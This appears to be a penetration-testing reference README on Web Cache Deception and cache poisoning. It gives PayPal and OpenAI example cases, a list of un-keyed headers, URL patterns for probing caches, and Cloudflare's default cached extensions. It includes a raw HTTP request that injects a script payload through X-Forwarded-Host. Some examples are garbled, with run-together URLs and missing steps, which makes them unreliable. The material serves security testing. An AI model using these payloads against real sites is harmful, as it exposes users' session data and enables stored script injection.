Web Cache Deception/README.md
Web Cache Deception (WCD) is a security vulnerability that occurs when a web server or caching proxy misinterprets a client's request for a web resource and subsequently serves a different resource, which may often be more sensitive or private, after caching it.
Example of Web Cache Deception:
Imagine an attacker lures a logged-in victim into accessing http://www.example.com/home.php/non-existent.css
http://www.example.com/home.php/non-existent.csshttp://www.example.com/home.php, most probably with HTTP caching headers that instruct not to cache this page.http://www.example.com/home.php/non-existent.css, the request is sent to the cache server, and the cache server returns the cached file with the victim's sensitive home.php data.Example 1 - Web Cache Deception on PayPal Home Page
https://www.example.com/myaccount/home/https://www.example.com/myaccount/home/malicious.csshttps://www.example.com/myaccount/home/malicious.cssVideo of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
Example 2 - Web Cache Deception on OpenAI
/api/auth/session endpoint.Find an un-keyed input for a Cache Poisoning
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
Cache poisoning attack - Example for X-Forwarded-Host un-keyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test"><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
<meta property="og:image" content="https://test"><script>alert(1)</script>">
The following URL format are a good starting point to check for "cache" feature.
https://example.com/app/conversation/.js?testhttps://example.com/app/conversation/;.jshttps://example.com/home.php/non-existent.css/path/<dynamic-resource>;<static-resource>
/settings/profile;script.js; as a delimiter but the cache isn't/settings/profile;script.js/settings/profile/wcd/..%2fprofile
/wcd/..%2fprofile/profileCloudFlare caches the resource when the Cache-Control header is set to public and max-age is greater than 0.
In Cloudflare CDN, one can implement a Cache Deception Armor, it is not enabled by default.
When the Cache Deception Armor is enabled, the rule will verify a URL's extension matches the returned Content-Type.
CloudFlare has a list of default extensions that gets cached behind their Load Balancers.
| 7Z | CSV | GIF | MIDI | PNG | TIF | ZIP |
| AVI | DOC | GZ | MKV | PPT | TIFF | ZST |
| AVIF | DOCX | ICO | MP3 | PPTX | TTF | CSS |
| APK | DMG | ISO | MP4 | PS | WEBM | FLAC |
| BIN | EJS | JAR | OGG | RAR | WEBP | MID |
| BMP | EOT | JPG | OTF | SVG | WOFF | PLS |
| BZ2 | EPS | JPEG | SVGZ | WOFF2 | TAR | |
| CLASS | EXE | JS | PICT | SWF | XLS | XLSX |
Exceptions and bypasses: